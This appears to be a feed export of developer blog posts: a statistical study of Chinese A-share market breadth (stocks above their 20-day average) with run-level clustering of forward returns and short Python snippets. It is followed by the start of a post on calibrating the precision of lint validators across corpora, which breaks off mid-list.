&lt;p&gt;At the close on &lt;strong&gt;November 5, 2026&lt;/strong&gt; my gauge reads:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Session&lt;/th&gt;
&lt;th&gt;Stocks above MA20&lt;/th&gt;
&lt;th&gt;Universe&lt;/th&gt;
&lt;th&gt;Breadth&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2026-10-30&lt;/td&gt;
&lt;td&gt;692&lt;/td&gt;
&lt;td&gt;5,192&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;13.33%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-11-02&lt;/td&gt;
&lt;td&gt;1,070&lt;/td&gt;
&lt;td&gt;5,192&lt;/td&gt;
&lt;td&gt;20.61%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-11-03&lt;/td&gt;
&lt;td&gt;1,097&lt;/td&gt;
&lt;td&gt;5,190&lt;/td&gt;
&lt;td&gt;21.14%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-11-04&lt;/td&gt;
&lt;td&gt;1,534&lt;/td&gt;
&lt;td&gt;5,192&lt;/td&gt;
&lt;td&gt;29.55%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-11-05&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;2,190&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;5,191&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;42.19%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;493 stocks in one session crossing their own 20-day average is the kind of print that gets reposted with an arrow. So I did the obvious thing and asked my own data what happens next.&lt;/p&gt;

&lt;p&gt;The answer was uncomfortable, and it took two corrections to see it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The data
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;5,202 symbols&lt;/strong&gt; (all Shanghai + Shenzhen A-shares), 200 front-adjusted daily bars each, pulled from Tencent's public K-line endpoint (&lt;code&gt;web.ifzq.gtimg.cn/appstock/app/fqkline/get&lt;/code&gt;) — free, no key, ~67 seconds for the whole market at 16 threads.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;943,843 stock-days&lt;/strong&gt; after the MA20 warm-up; &lt;strong&gt;277 sessions&lt;/strong&gt; from 2025-09-10 to 2026-11-05.&lt;/li&gt;
&lt;li&gt;Forward return = &lt;strong&gt;equal-weight&lt;/strong&gt; close-to-close over the next 5 sessions across all stocks present on that date. Not an index. An index would hide exactly the thing breadth is about.&lt;/li&gt;
&lt;li&gt;Suspended names (volume = 0) dropped from the cross-section each day.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Before trusting any of it I checked the new build against a breadth series I had stored from a September study: &lt;strong&gt;154 overlapping sessions, correlation 0.971, mean absolute difference 3.85pp, worst day 12.8pp.&lt;/strong&gt; The gap is universe size (that study used ~3,046 names after filters, this one 5,191), and the two agree on direction every single day. Good enough to proceed — with the honest caveat that my breadth number is not anyone else's breadth number, and quoting it as "the market's breadth" would be sloppy.&lt;/p&gt;

&lt;h2&gt;
  
  
  Finding 1: the bad place is not panic
&lt;/h2&gt;

&lt;p&gt;Day-level, bucketed by breadth, mean forward 5-session return:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Breadth&lt;/th&gt;
&lt;th&gt;Sessions&lt;/th&gt;
&lt;th&gt;Mean fwd 5d&lt;/th&gt;
&lt;th&gt;t&lt;/th&gt;
&lt;th&gt;Win rate&lt;/th&gt;
&lt;th&gt;Median&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt; 20%&lt;/td&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;+0.10%&lt;/td&gt;
&lt;td&gt;+0.15&lt;/td&gt;
&lt;td&gt;51.7%&lt;/td&gt;
&lt;td&gt;+0.07%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;20–40%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;69&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−1.30%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−3.11&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;37.7%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−1.77%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;40–60%&lt;/td&gt;
&lt;td&gt;49&lt;/td&gt;
&lt;td&gt;+0.22%&lt;/td&gt;
&lt;td&gt;+0.48&lt;/td&gt;
&lt;td&gt;51.0%&lt;/td&gt;
&lt;td&gt;+0.14%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;60–80%&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;+0.20%&lt;/td&gt;
&lt;td&gt;+0.33&lt;/td&gt;
&lt;td&gt;42.9%&lt;/td&gt;
&lt;td&gt;−0.32%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;gt; 80%&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;−0.57%&lt;/td&gt;
&lt;td&gt;−0.69&lt;/td&gt;
&lt;td&gt;44.4%&lt;/td&gt;
&lt;td&gt;−1.03%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;all&lt;/td&gt;
&lt;td&gt;177&lt;/td&gt;
&lt;td&gt;−0.43%&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;44.6%&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The relationship is &lt;strong&gt;not monotonic&lt;/strong&gt;, and that is the interesting part. Deep panic breadth (under 20% of stocks above MA20) is not the worst forward environment in this sample — it is flat. The worst environment is &lt;strong&gt;20–40%&lt;/strong&gt;: a market that is neither washed out nor repaired, where three quarters of names have already lost their 20-day average but the selling has not exhausted itself. Median −1.77%, win rate 37.7%.&lt;/p&gt;

&lt;p&gt;Note the baseline: the whole sample averaged −0.43% per 5 sessions, so this window drifted down. Every number above should be read as &lt;em&gt;relative to that&lt;/em&gt;, and none of it is a claim about the next five years.&lt;/p&gt;

&lt;p&gt;t = −3.11 looks like a finding. It isn't — not yet.&lt;/p&gt;

&lt;h2&gt;
  
  
  Finding 2: days are not observations
&lt;/h2&gt;

&lt;p&gt;Consecutive sessions in the same bucket are the same regime. Counting 69 "dead zone days" as 69 independent samples is the same error as counting the same customer 69 times because they visited 69 times.&lt;/p&gt;

&lt;p&gt;So I counted &lt;strong&gt;runs&lt;/strong&gt;: maximal stretches of at least 3 consecutive sessions inside a bucket, one number per run.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Breadth&lt;/th&gt;
&lt;th&gt;Sessions&lt;/th&gt;
&lt;th&gt;Day-level&lt;/th&gt;
&lt;th&gt;Runs&lt;/th&gt;
&lt;th&gt;Run-mean&lt;/th&gt;
&lt;th&gt;Run t&lt;/th&gt;
&lt;th&gt;Run win rate&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt; 20%&lt;/td&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;+0.10%&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−1.00%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;−0.97&lt;/td&gt;
&lt;td&gt;50.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20–40%&lt;/td&gt;
&lt;td&gt;69&lt;/td&gt;
&lt;td&gt;−1.30%&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;9&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−1.89%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;−1.89&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;22.2%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;40–60%&lt;/td&gt;
&lt;td&gt;49&lt;/td&gt;
&lt;td&gt;+0.22%&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;+0.47%&lt;/td&gt;
&lt;td&gt;+0.37&lt;/td&gt;
&lt;td&gt;50.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;60–80%&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;+0.20%&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;+0.34%&lt;/td&gt;
&lt;td&gt;+0.19&lt;/td&gt;
&lt;td&gt;50.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;gt; 80%&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;−0.57%&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two things changed shape:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The dead zone &lt;strong&gt;survived in direction and got stronger in effect size&lt;/strong&gt; (−1.89%, 7 of 9 runs negative) but &lt;strong&gt;lost its significance&lt;/strong&gt; (t = −3.11 → −1.89). The original t-stat was partly borrowed from autocorrelation. That is the honest reading: suggestive, unproven.&lt;/li&gt;
&lt;li&gt;The panic bucket &lt;strong&gt;flipped sign&lt;/strong&gt;: +0.10% at day level, −1.00% at run level. Four runs is not enough to establish either direction, which is precisely why I should have printed "4 runs" next to that +0.10% the first time.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The nine dead-zone runs, in full, so you can see how uneven it is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2026-03-03..03-05  len  3  avg breadth 29.4  fwd5  +3.12%
2026-03-13..03-18  len  4  avg breadth 32.0  fwd5  -6.38%
2026-05-21..05-28  len  6  avg breadth 30.9  fwd5  -2.91%
2026-06-15..07-02  len 13  avg breadth 29.8  fwd5  -1.49%
2026-07-06..07-10  len  5  avg breadth 27.4  fwd5  -3.89%
2026-07-14..07-23  len  8  avg breadth 29.0  fwd5  -1.95%
2026-09-11..09-18  len  6  avg breadth 29.0  fwd5  +2.48%
2026-09-28..10-08  len  4  avg breadth 31.7  fwd5  -2.97%
2026-10-12..10-14  len  3  avg breadth 29.7  fwd5  -3.06%
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is a real pattern with a fat left tail and two of nine runs working anyway. It is a &lt;strong&gt;no-trade band&lt;/strong&gt;, not a short signal.&lt;/p&gt;

&lt;h2&gt;
  
  
  Finding 3: today's pattern is the one that disappeared entirely
&lt;/h2&gt;

&lt;p&gt;Here is the test I actually wanted: what happens after a 4-session surge of +20pp or more in breadth?&lt;/p&gt;

&lt;p&gt;Day-level, it looks great:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;18 surge days&lt;/strong&gt;, mean forward 5-session return &lt;strong&gt;+1.45%&lt;/strong&gt;, t = +1.64, win rate &lt;strong&gt;66.7%&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then cluster them. Consecutive surge days inside a 10-session window are one episode — the same bounce being re-counted while breadth keeps climbing:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Episode&lt;/th&gt;
&lt;th&gt;Surge days&lt;/th&gt;
&lt;th&gt;Peak breadth&lt;/th&gt;
&lt;th&gt;Mean fwd 5d&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2026-02-27 .. 03-10&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;65.5%&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−3.01%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-08 .. 04-17&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;76.4%&lt;/td&gt;
&lt;td&gt;+1.41%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-07-30 .. 08-07&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;86.4%&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+4.79%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-09-21 .. 09-23&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;56.3%&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−3.30%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Episode-level: n = 4, mean −0.03%, win rate 50%.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Eighteen observations became four, and the edge became zero. The +1.45% / t = 1.64 was manufactured by counting the July–August episode seven times. Any tool that prints a t-stat on overlapping forward windows without clustering is printing a number about its own sample size, not about the market.&lt;/p&gt;

&lt;p&gt;Same test, different framing (crossing back above 40% breadth after 10 sessions below 25%): 22 day-events, +1.45%, t = +1.91 — and, once clustered, the same four-ish episodes. Zero information.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where today sits
&lt;/h2&gt;

&lt;p&gt;Breadth went 13.33% → 42.19% in four sessions: a +28.9pp surge that lands today in the &lt;strong&gt;40–60% bucket&lt;/strong&gt;. In this sample that bucket is worth +0.22% per 5 sessions at day level and +0.47% over 8 runs — indistinguishable from noise, and the surge that delivered us here is the pattern whose episode-level mean is −0.03%.&lt;/p&gt;

&lt;p&gt;So my gauge's honest output tonight is: &lt;strong&gt;the worst regime of the last three months just ended, and the event that ended it has no measured edge.&lt;/strong&gt; That is a much less satisfying sentence than "breadth is confirming the reversal," and it is the only one the data supports.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rules I now apply to any breadth claim (mine included)
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Cluster before you quote a t-stat.&lt;/strong&gt; Overlapping forward windows inflate t by roughly √(overlap). Count episodes, and print the episode count next to every mean.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Report win rate at run level, not day level.&lt;/strong&gt; A 37.7% day-level win rate and a 22.2% run-level win rate are the same data making two different claims.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Write the sample's baseline down.&lt;/strong&gt; All-days mean was −0.43% here. A bucket at +0.22% is not "bullish", it is 0.65pp above a falling baseline.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A bucket that flips sign under clustering is not a signal, it is an artifact&lt;/strong&gt; — and finding that out is cheaper than trading it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;State your universe.&lt;/strong&gt; 3,046 filtered names and 5,191 raw names give breadth numbers that differ by up to 12.8pp on the same day. Correlation 0.971 is agreement on direction, not agreement on level.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The reproduce-the-number code is short enough to paste:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# breadth for one session, given {symbol: [(date, close, volume), ...]} sorted
&lt;/span&gt;&lt;span class="n"&gt;above&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;sym&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bars&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;universe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bars&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;bars&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;      &lt;span class="c1"&gt;# need MA20, drop suspended
&lt;/span&gt;        &lt;span class="k"&gt;continue&lt;/span&gt;
    &lt;span class="n"&gt;ma20&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;bars&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;
    &lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="n"&gt;above&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;bars&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ma20&lt;/span&gt;
&lt;span class="n"&gt;breadth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;above&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;total&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, per day, the forward number and the run grouping:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;fwd5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;mean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;close_at&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;close_at&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;every&lt;/span&gt; &lt;span class="n"&gt;stock&lt;/span&gt; &lt;span class="n"&gt;present&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;day&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;runs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;group_consecutive_days_by_bucket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;days&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;min_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;t_stat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;mean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;run_means&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;stdev&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;run_means&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nf"&gt;sqrt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;run_means&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;The measurement scripts for this (breadth gauge, run-level clustering, and the earlier signal studies) live in &lt;strong&gt;github.com/Felixwang007/awesome-content-tools&lt;/strong&gt; under &lt;code&gt;tools/&lt;/code&gt;, each with a &lt;code&gt;selftest&lt;/code&gt; subcommand so you can check the counting before you check the market.&lt;/p&gt;

&lt;p&gt;The packaged version of the A-share screening logic — three-pillar scoring plus the refusal rules that make it return "no signal" — is on &lt;strong&gt;xiaping.coze.com&lt;/strong&gt; under my handle, free to run.&lt;/p&gt;

&lt;p&gt;If you run a breadth gauge of your own: how many &lt;strong&gt;runs&lt;/strong&gt; does your worst bucket contain? That number, not the return, is what tells you whether you have a finding.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>My Linter Scored 26% on Its Home Corpus and 0% on Docs — the Calibration Rule I Ship With Now</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Mon, 02 Nov 2026 04:02:20 +0000</pubDate>
      <link>https://dev.to/felixwang007/my-linter-scored-26-on-its-home-corpus-and-0-on-docs-the-calibration-rule-i-ship-with-now-2m64</link>
      <guid>https://dev.to/felixwang007/my-linter-scored-26-on-its-home-corpus-and-0-on-docs-the-calibration-rule-i-ship-with-now-2m64</guid>
      <description>&lt;p&gt;I ship small validators to my own coding agent. Nothing fancy: each one takes a path, reads config or tests or license files, and returns findings with a rule id, a severity, and a one-line fix.&lt;/p&gt;

&lt;p&gt;The catalogue is now 30 packages with 271 rules. Four of them, re-run this morning:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;package&lt;/th&gt;
&lt;th&gt;assertion count (today)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tool-schema-doctor&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;42/42&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cron-reliability-doctor&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;76/76&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;license-compliance-doctor&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;54/54&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;i18n-doctor&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;53/53&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;225 assertions, all green. &lt;strong&gt;That number means almost nothing.&lt;/strong&gt; A green selftest proves the code does what I wrote down. It says nothing about what happens when the thing runs against code I did not write.&lt;/p&gt;

&lt;p&gt;This post is about the part I got wrong for weeks: calibration.&lt;/p&gt;

&lt;h2&gt;
  
  
  The experiment that killed my confidence
&lt;/h2&gt;

&lt;p&gt;My cron validator parses schedules out of five different formats: crontab, GitHub Actions &lt;code&gt;schedule&lt;/code&gt;, systemd &lt;code&gt;.service&lt;/code&gt;/&lt;code&gt;.timer&lt;/code&gt;, and a JSON job file. Before I built the real parser, my first draft was the obvious one:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;a line whose first five whitespace-separated tokens are mostly numeric-ish is a cron expression.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I re-implemented exactly that, as a ~15-line probe, and pointed it at the 17-file corpus I use for the validator's own fixtures.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;files_scanned      17
naive_hits         97
parses_as_schedule 25
false_positives    72
precision          0.258
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;74% of hits were wrong. Then I classified the 72 false positives, expecting the classic "English prose matched the pattern" story. It never showed up:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;false positives by cause&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="s"&gt;schedule string split at the wrong boundary (quotes / JSON / YAML)   &lt;/span&gt;&lt;span class="m"&gt;72&lt;/span&gt;
  &lt;span class="s"&gt;exotic schedule dialect I don't support                               &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every single one was a string-boundary error. &lt;code&gt;"expr": "15 8 * *&lt;/code&gt; — the naive splitter cut the value mid-string, then happily parsed the fragment &lt;code&gt;15 8 * *&lt;/code&gt; + &lt;code&gt;*",&lt;/code&gt; as a schedule. The rule did not have a dialect problem. It had a &lt;em&gt;lexing&lt;/em&gt; problem, and I had been about to fix it in the wrong place.&lt;/p&gt;

&lt;p&gt;So I ran the same rule somewhere it had no business being: 182 markdown docs from a knowledge base.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;md_files           182
naive_hits         328
parses_as_schedule 0
precision          0.000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;328 hits. Zero real schedules. The rule is not "26% accurate with room to improve" — on any corpus that isn't the one it was tuned on, it is pure noise.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rule I ship with now: precision belongs to a corpus, not to a rule
&lt;/h2&gt;

&lt;p&gt;The mistake was reporting precision as a property of the rule. It is a property of the rule &lt;em&gt;and the corpus you measured it on&lt;/em&gt;. My naive rule's real spec is "26% on cron fixtures, 0% on prose," and only the second number predicts what a user will see.&lt;/p&gt;

&lt;p&gt;So the shipping gate stopped being "selftests pass." It became three checks, and a package that fails any of them does not get published:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Real corpus, &lt;code&gt;HIGH = 0&lt;/code&gt;.&lt;/strong&gt;&lt;br&gt;
